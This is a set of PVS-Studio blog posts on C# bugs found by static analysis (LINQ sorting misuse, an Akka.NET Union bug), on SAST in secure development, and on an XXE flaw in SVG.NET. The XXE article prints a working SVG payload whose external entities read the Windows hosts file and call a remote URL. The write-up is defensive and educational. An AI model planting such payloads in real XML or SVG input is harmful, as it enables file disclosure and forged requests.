The OrderBy and ThenBy methods create OrderedEnumerable instances that are used to perform sorting. Instances of the EnumerableSorter type help perform sorting. They affect the algorithm, use specified selectors and a comparator.

The main difference between OrderBy().OrderBy() and OrderBy().ThenBy() calls is the relations between objects.

OrderBy().OrderBy(). There are no relations between OrderedEnumerable or EnumerableSorter. As a result, "extra" objects are created — instead of one sorting, we get two. Memory consumption is growing, and the code runs slower.

OrderBy().ThenBy(). Both OrderedEnumerable and EnumerableSorter instances are related. Because of this, one sorting operation is performed by several criteria at once. Extra objects are not created. Memory consumption is reduced, and the code runs faster.

Conclusion

The code that uses OrderBy().ThenBy() instead of OrderBy().OrderBy():

is better to read;
is less error prone;
works faster;
consumes less memory.

Follow me on Twitter, if you are interested in such publications.

Why use static analysis? Exploring an error from Akka.NET

Sergey Vasiliev — Mon, 25 Apr 2022 13:25:45 +0000

Use static analysis regularly, not just before releases...
The earlier you find errors, the cheaper they are to fix...

You probably heard this a hundred times. Today we'll answer the "Why?" question once again. An error from the Akka.NET project will assist us.

The error

We'll start with a task. Find a defect in the code below:

protected override bool ReceiveRecover(object message)
{
  switch (message)
  {
    case ShardId shardId:
      _shards.Add(shardId);
      return true;
    case SnapshotOffer offer when (offer.Snapshot is 
                                   ShardCoordinator.CoordinatorState state):
      _shards.UnionWith(state.Shards.Keys.Union(state.UnallocatedShards));
      return true;
    case SnapshotOffer offer when (offer.Snapshot is State state):
      _shards.Union(state.Shards);
      _writtenMarker = state.WrittenMigrationMarker;
      return true;
    case RecoveryCompleted _:
      Log.Debug("Recovery complete. Current shards [{0}]. Written Marker {1}", 
                string.Join(", ", _shards), 
                _writtenMarker);

      if (!_writtenMarker)
      {
        Persist(MigrationMarker.Instance, _ =>
        {
          Log.Debug("Written migration marker");
          _writtenMarker = true;
        });
      }
      return true;
    case MigrationMarker _:
      _writtenMarker = true;
      return true;
  }
  ....
}

Let's examine the code above and see what the problem is.

The _shards variable is of type HashSet<ShardId>. The code above calls several methods that change the state of this set.

HashSet<T>.Add:

_shards.Add(shardId);

HashSet<T>.UnionWith:

_shards.UnionWith(state.Shards.Keys.Union(state.UnallocatedShards));

However, one of these calls is incorrect:

_shards.Union(state.Shards);

It does not change the state of the _shards object. Enumerable.Union is a LINQ extension method that does not change the original collection and returns a modified collection instead. This means, the method call's result must be saved somewhere or used somehow. We do not see that in the code.

The PVS-Studio analyzer issued the following warning: V3010 The return value of function 'Union' is required to be utilized. Akka.Cluster.Sharding EventSourcedRememberEntitiesCoordinatorStore.cs 123

By the way, here's what the fixed code looks like:

_shards.UnionWith(state.Shards);

How we found the error — or talk number 101 on the benefits of static analysis

Every night our server runs static analysis for several open-source projects. These include Akka.NET. Why do we do it? This practice offers a few benefits:

it provides an extra way to test the analyzer;
it helps us write notes like this one and provides us with interesting examples that demonstrate the benefits of static analysis.

We wrote more about it here.

And now a few words on our case at hand — how the error appeared and how it was fixed.

April 20, 2022:

code with an error is committed to the Akka.NET project's dev branch (a link to the specific line of code);

April 21, 2022:

our server analyzes the code and sends me an email with warnings;
I investigate the problem and create an issue on GitHub;
the developers fix the error. A link to the commit.

I think that was some pretty smooth collaboration! Thanks to the developers for the prompt fix.

And now to the important question — how long would this error have existed in the code if events had taken a different turn? Here I'll leave some room for your imagination.

So what can you do right now to avoid mistakes like this one?

Use a static analyzer. You can download one here. Remember to use the pvs_akka promo code — then, instead of 7 days, the trial license will work 30 days.
If you want to read more articles and notes like this one, follow me on Twitter.

SAST in Secure SDLC: 3 reasons to integrate it in a DevSecOps pipeline

Sergey Vasiliev — Tue, 19 Apr 2022 09:12:48 +0000

Vulnerabilities produce enormous reputational and financial risks. That's why many companies are fascinated by security and desire to build a secure development life cycle (SSDLC). So, today we're going to discuss SAST — one of the SSDLC components.

SAST (static application security testing) is used to search for security defects in application source code. SAST examines the code for many potential vulnerabilities — possible SQL injections, XSS, SSRF, data encryption issues, etc. These vulnerabilities are included in OWASP Top 10, CWE Top 25 and other lists.

Before we discuss why to integrate SAST in a DevSecOps pipeline, let me draw your attention to a couple of facts.

The number of vulnerabilities is growing. The cost of fixing them is growing too

Fact #1: the number of vulnerabilities is growing every year

To estimate the number of vulnerabilities found year by year, it is enough to look at the CVE (Common Vulnerabilities and Exposures) statistics. The graph below shows the number of vulnerabilities found from 2017 to 2021. The data is provided by National Vulnerability Database (NVD).

Here are 2 facts:

the number of found vulnerabilities increases every year;
the difference between the number of vulnerabilities in 2017 and in 2021 is more than 30%.

By the way, at the time of writing the article in 2022, more than 5 thousand vulnerabilities have already been found.

Keep in mind that vulnerabilities can exist for years before they become publicly known. Take at least the sensational Log4Shell (CVE-2021-44228), that was disclosed 8 years after its appearance. Attackers can exploit a hidden vulnerability until it is discovered — as a result, the business is losing money.

What must be done? Use complex approaches and tools that will allow you to detect as many security defects as possible.

Fact #2: vulnerabilities found later are more expensive to fix

Here's what IBM System Science Institute reports about the relative cost of fixing the vulnerability:

Vulnerabilities found after the release are 15 times more expensive than those discovered at the development stage. Moreover, they are 100 times more expensive than vulnerabilities discovered at the design stage.

Different sources present this graph slightly different. However, the overall statistics are the same: defects found later are more expensive to fix.

Absolute values depend heavily on many factors: how critical the vulnerability is, how complex it is to patch vulnerable components, etc. Vulnerabilities, as errors, can cost thousands, hundreds of thousands, or even millions of dollars. Remember the launch of Ariane 5? The failure losses vary from $360,000,000 to $500,000,000. Or the story of the Polygon Plasma Bridge vulnerability with almost $850,000,000 at risk.

What must be done? Use tools and approaches that help to detect security defects as early as possible. Let your team improve their skills.

3 reasons to integrate SAST in SSDLC

1. Shift-left testing

Shift-left is a practice intended to perform testing early in software development life cycle. That is, testing on the timeline of the project should shift to the left — closer to the beginning.

One of the advantages of static analysis is early defect detection. It's relevant to SAST as well. This means that SAST in a DevSecOps pipeline allows you to follow shift-left testing and detect security defects earlier to fix them cheaper and easier.

Let's consider an example. To estimate the losses, we use the previous graph that shows the relative cost of fixing defects. For a standard unit, we take $100.

So, your team is developing an application that works with XML files. The XML handler is designed as follows:

the used XML parser processes external entities without restrictions;
the parser receives the user data (taint data) to the input.

A system designed this way may be subject to an XXE attack. Suppose the developers find out about the problem and fix it at the same stage. However, the losses already amount to at least $100.

Imagine that a security defect was not detected and got into the release.

In a worst-case scenario, hackers find the vulnerability and exploit it. The exploitation brings about losses. However, neither you nor your clients are aware of this.

Sooner or later, you will find out about the vulnerability. The question is — what reputational damage and financial losses you and your clients have already suffered. Moreover, you need to close the vulnerability and update the client software. The graph suggests that the losses amounted to $10,000. Actually, this sounds optimistic.

Suppose a company uses a SAST solution that can detect this XXE. If SAST is regularly used in CI/CD, developers can find a security defect earlier. In this case, customers will not get a faulty product. And hackers will not exploit the security defect. As a result, possible losses are significantly reduced. The security flaw costs about $1,600.

However, you can manage the process even better — use a SAST solution not only in CI/CD, but also locally — on developers' machines. This makes it possible to find the XXE during development in the IDE. Since the developer is in the task's context, it will be easier, and therefore, cheaper to fix the problem. The security flaw costs $650.

It turns out that SAST in a DevSecOps pipeline helped to cut costs by about 15 times: from $10,000 to $650. Shift-left testing in action.

2. Security defects in external code

Sometimes developers use ready-made solutions — not only libraries but also code fragments. For example, code fragments copied from Stack Overflow or from GitHub repositories. The question is — how secure is such code? Alas, there are no security guarantees.

The "How Reliable is the Crowdsourced Knowledge of Security Implementation?" research confirms this. The authors analyzed a number of questions on Stack Overflow and checked the proposed solutions for security. Here's what they found:

644 out of 1429 inspected answer posts (45%) contain insecure solutions;
on average, answer posts containing insecure solutions are more popular and gain more comments and views;
accepted answers do not necessarily contain secure code.

Another research — "If you want, I can store the encrypted password" — discusses freelance developers. The paper suggests that freelancers are less likely to provide secure solutions if they are not explicitly asked about it. Just like everyone else does, they don't mind copying ready-made code, including code fragments from Stack Overflow.

By the way, there is an interesting story about copying code from Stack Overflow and the consequences. We're talking about Razer Synapse and Docker for Windows.

These applications are developed by different companies and seem to be unrelated. However, if we run one of these applications, we can't run another. Why?

Developers of both applications used error code from Stack Overflow.

There was a problem with getting a global mutex. Due to the error code, it turned out that both independent applications used a common mutex. You can read more about this in the thread on Twitter.

OK, a developer can copy-paste insecure code from Stack Overflow to an application. How can SAST protect the app from vulnerabilities in this case? By analyzing the copied code. SAST solution can analyze it separately or after its integration into the application's code base.

Pay attention, that sometimes vulnerabilities appear only after the integration of external code into the application. That's why you need to perform analysis of the entire application's code, and not only the copied one.

3. Improving security skills of developers

In fact, if you integrate SAST in your development process, you follow shift-left testing even more precisely. This is achieved by improving developers' skills in the security field.

Earlier we discussed that SAST shifts the responsibility for the application security towards development. This happens because the developers handle the warnings of SAST solutions.

To fix a security flaw, a developer needs to investigate the problem. Is it possible to fix SSRF if you don't understand what it is? A path traversal? XEE?

The developer analyses a warning from a SAST solution and investigates the essence of the security defect to fix it. The tool documentation helps with this. Thus, the developer becomes more experienced in information security.

But there is one more important thing. The developer now knows weakness' essence. It means that they will be more attentive in such cases. As a result, the probability of having a similar security defect in the future is reduced.

Thus, as the expertise increases, the team will strive to prevent security defects even before writing the code. This reduces the cost of software development.

It is worth noting that SAST solution developers often have blogs where they describe best practices of using their tools, writing secure code and so on. Such blogs can become an additional opportunity for a team to develop new skills.

Conclusion

Let's sum it up. SAST allows to reduce financial and reputational risks. This is achieved by:

shift-left testing. Security defects are detected at an early stage, when their cost is minimal;
analysis of third-party code. Code copied from Stack Overflow may be insecure. The same is with custom-written code. Therefore, it is useful to check external code for potential vulnerabilities;
team training. To fix the problem found by a SAST tool, a developer needs to investigate it. As a result, the team improves its security skills. It helps to prevent security defects even before writing the code.

Despite these advantages, you need to remember one fact. SAST is not a panacea. It will not protect you from 100% vulnerabilities, it will not fix all issues. You can't create SSDLC only with the help of SAST.

And yet SAST is another essential step-up that can help reduce reputational and financial risks. If you are building SSDLC, SAST tools should be a mandatory part of the DevSecOps pipeline.

And as usual, I invite you to subscribe to my Twitter, if you don't want to miss new publications.

Suspicious sortings in Unity, ASP.NET Core, and more

Sergey Vasiliev — Tue, 22 Mar 2022 08:47:46 +0000

Some believe that experienced developers do not make silly errors. Comparison errors? Dereferencing null references? Bet you think: "No, it's definitely not about me..." ;) By the way, what about errors with sorting? As the title suggests, there are some nuances.

OrderBy(...).OrderBy(...)

Let me give you an example to describe the problem. Let's say we have some type (Wrapper) with two integer properties (Primary and Secondary). There's an array of instances of this type. We need to sort it in ascending order. First — by the primary key, then — by the secondary key.

Here's the code:

class Wrapper
{
  public int Primary { get; init; }
  public int Secondary { get; init; }
}

var arr = new Wrapper[]
{
  new() { Primary = 1, Secondary = 2 },
  new() { Primary = 0, Secondary = 1 },
  new() { Primary = 2, Secondary = 1 },
  new() { Primary = 2, Secondary = 0 },
  new() { Primary = 0, Secondary = 2 },
  new() { Primary = 0, Secondary = 3 },
};

var sorted = arr.OrderBy(p => p.Primary)
                .OrderBy(p => p.Secondary);

foreach (var wrapper in sorted)
{
  Console.WriteLine($"Primary: {wrapper.Primary} 
                      Secondary: {wrapper.Secondary}");
}

Unfortunately, the result of this code will be incorrect:

Primary: 2 Secondary: 0
Primary: 0 Secondary: 1
Primary: 2 Secondary: 1
Primary: 0 Secondary: 2
Primary: 1 Secondary: 2
Primary: 0 Secondary: 3

The sequence turned out to be sorted by the secondary key. But the sorting by primary key was not saved. If you've ever used multilevel sorting in C#, you can guess what the catch is.

The second OrderBy method call introduces a new primary ordering. This means that all the sequence will be sorted again.

But we need to fix the result of primary sorting. The secondary sorting should not reset it.

In this case the correct sequence of calls is OrderBy(...).ThenBy(...):

var sorted = arr.OrderBy(p => p.Primary)
                .ThenBy(p => p.Secondary);

Then the code produces the expected result:

Primary: 0 Secondary: 1
Primary: 0 Secondary: 2
Primary: 0 Secondary: 3
Primary: 1 Secondary: 2
Primary: 2 Secondary: 0
Primary: 2 Secondary: 1

Microsoft has* the documentation for the *ThenBy *method. There's a note about this: Because IOrderedEnumerable inherits from IEnumerable, you can call OrderBy or OrderByDescending on the results of a call to OrderBy, OrderByDescending, ThenBy or ThenByDescending. Doing this introduces a new primary ordering that ignores the previously established ordering.*

Recently, I looked through C# projects on GitHub and chose some to check with PVS-Studio. The analyzer has the V3078 diagnostic concerning the possible misuse of OrderBy.

Want to know what I found? ;)

Examples from open-source projects

Unity

In Unity, the analyzer found 2 similar code fragments.

The first fragment

private List<T> GetChildrenRecursively(bool sorted = false, 
                                       List<T> result = null)
{
  if (result == null)
    result = new List<T>();

  if (m_Children.Any())
  {
    var children 
      = sorted ? 
          (IEnumerable<MenuItemsTree<T>>)m_Children.OrderBy(c => c.key)
                                                   .OrderBy(c => c.m_Priority) 
               : m_Children;
    ....
  }
  ....
}

The code on GitHub.

Perhaps, the developers wanted to sort the m_Children collection first by key (c.key), then by priority (c.priority). But sorting by priority will be performed on the entire collection. Sorting by key will not be fixed. Is this an error? Here we need to ask the developers.

The second fragment

static class SelectorManager
{
  public static List<SearchSelector> selectors { get; private set; }
  ....
  internal static void RefreshSelectors()
  {
    ....
    selectors 
      = ReflectionUtils.LoadAllMethodsWithAttribute(
          generator, 
          supportedSignatures, 
          ReflectionUtils.AttributeLoaderBehavior.DoNotThrowOnValidation)
                       .Where(s => s.valid)
                       .OrderBy(s => s.priority)
                       .OrderBy(s => string.IsNullOrEmpty(s.provider))
                       .ToList();
  }
}

The code on GitHub.

The sorting results in the following order:

the sequence starts with the elements with providers. The elements without providers follow them. We can say that we have 2 "groups": with providers and without them;
in these groups the elements are sorted by priority.

Perhaps, there is no error here. However, agree that the sequence of the OrderBy().ThenBy() calls is easier to read.

.OrderBy(s => string.IsNullOrEmpty(s.provider))
.ThenBy(s => s.priority)

I reported both issues via Unity Bug Reporter. After this, Unity QA Team opened 2 issues:

issue #1;
issue #2.

Issues don't contain any comments yet. So, we are still waiting for any updates.

ASP.NET Core

PVS-Studio found 3 places in ASP.NET Core with duplicated OrderBy calls. All were detected in the KnownHeaders.cs file.

The first issue

RequestHeaders = commonHeaders.Concat(new[]
{
  HeaderNames.Authority,
  HeaderNames.Method,
  ....
}
.Concat(corsRequestHeaders)
.OrderBy(header => header)
.OrderBy(header => !requestPrimaryHeaders.Contains(header))
....

The code on GitHub.

The second issue

ResponseHeaders = commonHeaders.Concat(new[]
{
  HeaderNames.AcceptRanges,
  HeaderNames.Age,
  ....
})
.Concat(corsResponseHeaders)
.OrderBy(header => header)
.OrderBy(header => !responsePrimaryHeaders.Contains(header))
....

The code on GitHub.

The third issue

ResponseTrailers = new[]
{
  HeaderNames.ETag,
  HeaderNames.GrpcMessage,
  HeaderNames.GrpcStatus
}
.OrderBy(header => header)
.OrderBy(header => !responsePrimaryHeaders.Contains(header))
....

The code on GitHub.

The error pattern is the same, only the used variables are different. To report these issues, I created a new issue on the project page.

Developers answered that duplicated OrderBy calls aren't bugs. Nevertheless, they've fixed the code. You can find a commit here.

In any case, I think that you should not write code in such a way. Duplicated OrderBy calls look very suspicious.

CosmosOS (IL2CPU)

private Dictionary<MethodBase, int?> mBootEntries;
private void LoadBootEntries()
{
  ....
  mBootEntries = mBootEntries.OrderBy(e => e.Value)
                             .OrderByDescending(e => e.Value.HasValue)
                             .ToDictionary(e => e.Key, e => e.Value);
  ....
}

The code on GitHub.

Here we're dealing with a strange sorting by the fields of the int? type. I also created an issue for this. In this case, the secondary sorting turned out to be redundant. That's why the developers deleted the OrderByDescending call. You can find the commit here.

GrandNode

public IEnumerable<IMigration> GetCurrentMigrations()
{
  var currentDbVersion = new DbVersion(int.Parse(GrandVersion.MajorVersion), 
                                       int.Parse(GrandVersion.MinorVersion));

  return GetAllMigrations()
           .Where(x => currentDbVersion.CompareTo(x.Version) >= 0)
           .OrderBy(mg => mg.Version.ToString())
           .OrderBy(mg => mg.Priority)
           .ToList();
}

The code on GitHub.

Perhaps, the developers wanted to perform sorting first by version, then — by priority.

As with the previous issues, I informed the developers. They fixed this by replacing the second OrderBy call with ThenBy:

.OrderBy(mg => mg.Version.ToString())
.ThenBy(mg => mg.Priority)

You can find the fix here.

Human reliability?

The sequence of OrderBy().OrderBy() calls may not be an error. But such code provokes questions. Is it correct? What if OrderBy().ThenBy() should be used here?

How can developers make such errors?

Perhaps, it is a human reliability. We know that developers tend to make errors in comparison functions. Also, there's the last line effect. Moreover, copy-paste often provokes errors. Perhaps the multiple OrderBy call is another manifestation of human reliability.

Anyway, be careful with this. :)

Following a good tradition, I invite you to follow me on Twitter so as not to miss interesting publications.

Finally, please tell me: have you encountered a similar pattern?

Why does my app send network requests when I open an SVG file?

Sergey Vasiliev — Fri, 18 Feb 2022 07:55:23 +0000

You decided to make an app that works with SVG. Encouraged by the enthusiasm, you collected libraries and successfully made the application. But suddenly you find that the app is sending strange network requests. And data is leaking from the host-machine. How so?

In today's world, you can have a library for every occasion. So, let's not reinvent the wheel for our application and take a ready-made solution. For example, the SVG.NET library. The source code of the project is available on GitHub. SVG.NET is distributed as a NuGet package, which comes in handy if you want to add the library to the project. By the way, according to the project's page in NuGet Gallery, the library has 2.5 million downloads — impressive!

Let's look at the synthetic code example of the previously described application:

void ProcessSvg()
{
  using var svgStream = GetSvgFromUser();    
  var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    

  // SVG document processing...

  SendSvgToUser(svgDoc);
}

The program's logic is simple:

We get a picture from a user. It doesn't matter how we get the picture.
The instance of the SvgDocument type is created. Further, some actions are performed with this instance. For example, some transformations.
The app sends the modified picture back to the user.

In this case, the implementation of the GetSvgFromUser and SendSvgToUser methods is not that important. Let's think that the first method receives the picture over the network, and the second one sends it back.

What is hidden behind "SVG document processing..."? And again, it's not that important to us what's hidden there, so... the application won't perform any actions.

In fact, we just upload the image and get it back. It seems that there is nothing complicated. But it's enough for strange things to start happening. :)

For our experiments, let's take a specially prepared SVG file. It looks like the logo of the PVS-Studio analyzer. Let's see how the logo looks in the browser to make sure that everything is fine with it.

So, no problems with the logo. Next, let's upload it to the app. The application doesn't perform any actions (let me remind you that nothing is hidden behind the comment in the code above). The app just sends the SVG file back to us.

After that, we open the received file and expectedly see the same picture.

The most interesting thing happened behind the scenes (during the SvgDocument.Open method call)

First, the app sent an unplanned request to pvs-studio.com. You can see that, for example, by monitoring the network activity of the application.

And second, the user of the app received the hosts file from the machine on which the SVG was opened.

How? Where is the hosts file? Let's look at the text representation of the SVG file received from the application. Let me remove unnecessary parts so that they do not distract us.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg .... >
<svg ....>
  <style type="text/css">
    ....
  </style>
  <polygon .... />
  <polygon .... />
  <polygon .... />
  <polygon .... />
  <polygon># Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
#
# localhost name resolution is handled within DNS itself.
#   127.0.0.1       localhost
#   ::1             localhost
#
# A special comment indicating that XXE attack was performed successfully.
#</polygon>
</svg>

Here is the hosts file from the machine — carefully hidden in the SVG file without any external manifestations.

Where does the hosts content come from? Where does the additional network request come from? Well, let's figure it out.

About the XXE attack

Those who know about the XXE attack may have already figured out what's going on. If you haven't heard about XXE or have forgotten what it is, I strongly recommend reading the following article: "Vulnerabilities due to XML file processing: XXE in C# applications in theory and in practice". In the article, I talk about what is XXE, the causes and consequences of the attack. This information will be required to understand the rest of the article.

Let me remind you, to perform an XXE attack you need:

the user's data that may be compromised;
the XML parser that has an insecure configuration.

The attacker also benefits if the compromised data processed by the XML parser returns to them in some form.

In this case, "all the stars are aligned":

compromised data is the SVG file that the user sends to the application;
insecurely configured XML parser — we have it inside the SVG processing library;
the result of the parser's work is returned to the user in the form of the "processed" SVG file.

Compromised data

First, remember that the SVG format is based on XML. That means we can define and use XML entities in the SVG-files. These are the entities that are needed for XXE.

Even though the "dummy" SVG file looks normal in the browser, it contains a declaration of two entities:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE polygon [
  <!ENTITY queryEntity SYSTEM "https://files.pvs-studio.com/rules/ccr.xml">
  <!ENTITY hostsEntity SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<svg id="Layer_1" 
     data-name="Layer 1" 
     xmlns="http://www.w3.org/2000/svg" 
     viewBox="0 0 1967 1933.8">
  <style type="text/css">
    ....
  </style>
  ....
  <polygon>&queryEntity;</polygon>
  <polygon>&hostsEntity;</polygon>
</svg>

If the XML parser works with external entities, then:

when processing queryEntity, it'll send a network request to files.pvs-studio.com;
when processing hostsEntity, instead of the entity, it'll substitute the contents of the hosts file.

It turns out to be a kind of SVG trap: when rendering, the file looks normal, but inside — it's got something tricky.

Insecurely configured XML parser

Remember that you have to pay a price for using external libraries. If you already had a list of possible negative consequences, here's one more thing – potential security defects.

To create the SvgDocument instance, we used the Open method. Its source code looks as follows:

public static T Open<T>(Stream stream) where T : SvgDocument, new()
{
  return Open<T>(stream, null);
}

This method, in turn, invokes another overload:

public static T Open<T>(Stream stream, Dictionary<string, string> entities) 
  where T : SvgDocument, new()
{
  if (stream == null)
  {
    throw new ArgumentNullException("stream");
  }

  // Don't close the stream via a dispose: that is the client's job.
  var reader = new SvgTextReader(stream, entities)
  {
    XmlResolver = new SvgDtdResolver(),
    WhitespaceHandling = WhitespaceHandling.Significant,
    DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore 
                                                     : DtdProcessing.Parse,
  };
  return Open<T>(reader);
}

Looking ahead, I'd like to say that in Open(reader), the SVG file is read and instance of the SvgDocument is created.

private static T Open<T>(XmlReader reader) where T : SvgDocument, new()
{
  ....
  T svgDocument = null;
  ....

  while (reader.Read())
  {
    try
    {
      switch (reader.NodeType)
      {
        ....
      }
    }
    catch (Exception exc)
    {
      ....
    }
  }
  ....
  return svgDocument;
}

The while (reader.Read()) and switch (reader.nodeType) constructions should be familiar to everyone who worked with XmlReader. It is kind of typical code of XML reading, let's not dwell on it, but return to creating an XML parser.

var reader = new SvgTextReader(stream, entities)
{
  XmlResolver = new SvgDtdResolver(),
  WhitespaceHandling = WhitespaceHandling.Significant,
  DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore 
                                                   : DtdProcessing.Parse,
};

To understand whether the parser configuration is unsafe, you need to clarify the following points:

what the SvgDtdResolver instance is;
whether DTD processing is enabled.

And here I want to say once again — hail to Open Source! It's such an ineffable pleasure — to have a chance to tinker with the code and understand how/the way something works.

Let's start with the DtdProcessing property, that depends on SvgDocument.DisableDtdProcessing:

/// <summary>
/// Skip the Dtd Processing for faster loading of
/// svgs that have a DTD specified.
/// For Example Adobe Illustrator svgs.
/// </summary>
public static bool DisableDtdProcessing { get; set; }

Here's a static property whose value we haven't changed. The property does not appear in the type constructor either. Its default value is false. Accordingly, DtdProcessing takes the DtdProcessing.Parse value.

Let's move on to the XmlResolver property. Let's see what the SvgDtdResolver type is like:

internal class SvgDtdResolver : XmlUrlResolver
{
  /// ....
  public override object GetEntity(Uri absoluteUri, 
                                   string role, 
                                   Type ofObjectToReturn)
  {
    if (absoluteUri.ToString()
                   .IndexOf("svg", 
                            StringComparison.InvariantCultureIgnoreCase) > -1)
    {
      return Assembly.GetExecutingAssembly()
                     .GetManifestResourceStream("Svg.Resources.svg11.dtd");
    }
    else
    {
      return base.GetEntity(absoluteUri, role, ofObjectToReturn);
    }
  }
}

In fact, SvgDtdResolver is still the same XmlUrlResolver. The logic is just a little different for the case when absoluteURI contains the "svg" *substring. And from the article about XXE, we remember that the usage of the *XmlUrlResolver instance to process external entities is fraught with security issues. It turns out the same situation happens with SvgDtdResolver.

So, all the necessary conditions are met:

DTD processing is enabled (the DtdProcessing property has the DtdProcessing.Parse value);
the parser uses an unsafe resolver (the XmlResolver property refers to an instance of an unsafe SvgDtdResolver).

As a result, the created SvgTextReader object is potentially vulnerable to an XXE attack (as we've seen in practice — it is actually vulnerable).

Problem fixes

An issue was opened about this problem on the project page on GitHub — "Security: vulnerable to XXE attacks". A week later, another issue was opened. A PR was made for each issue: the first pull request, the second one.

In short, the fix is the following: the processing of external entities is turned off by default.

In the first PR, the ResolveExternalResources option was added. The option is responsible whether SvgDtdResolver will process external entities. Processing is disabled by default.

In the second PR, contributors added more code, and the boolean flag was replaced with an enumeration. By default, resolving external entities is still prohibited. There are more changes in the code. If you are interested, you can check them here.

If we update the 'Svg' package to a secure version, run it in the same application and with the same input data (i.e., with a dummy SVG file), we will get different results.

The application no longer performs network requests, nor does it "steal" files. If you look at the resulting SVG file, you may notice that the entities simply weren't processed:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg ...>
<svg version="1.1"
     ....>
  <style type="text/css">
    ....
  </style>
  ....
  <polygon />
  <polygon />
</svg>

How to protect yourself?

It depends on who wants to be on the safe side. :)

At least, you should know about XXE to be more careful when it comes to working with XML files. Of course, this knowledge won't protect against all dangerous cases (let's be honest - nothing will protect from them). However, it will give you some awareness of the possible consequences.

SAST solutions can help find similar problems in code. Actually, the list of things that can be caught by SAST is large. And XXE may well be on that list.

The situation is a bit different if you are using an external library, and not working with sources. For example, as in the case of our application, when the SVG library was added as a NuGet package. Here, SAST won't help since the tool does not have access to the source code of the library. Although if the static analyzer works with intermediate code (IL, for example), it still can detect the problem.

However, separate tools — SCA solutions — are used to check project dependencies. You can read the following article to learn about SCA tools. Such tools monitor the use of dependencies with known vulnerabilities and warn about them. In this case, of course, the base of these vulnerable components plays an important role. The larger the base, the better.

And, of course, remember to update the software components. After all, in addition to new features and bug fixes, security defects are also fixed in new versions. For example, in SVG.NET, the security flaw dealt with in this article was closed in the 3.3.0 release.

Conclusion

I've already said, XXE is a rather tricky thing. The instance described in this article is super tricky. Not only did it hide behind the processing of SVG files, it also "sneaked" into application through the NuGet package. Who knows how many other vulnerabilities are hidden in different components and successfully exploited?

Following a good tradition, I invite you to follow me on Twitter so as not to miss interesting publications.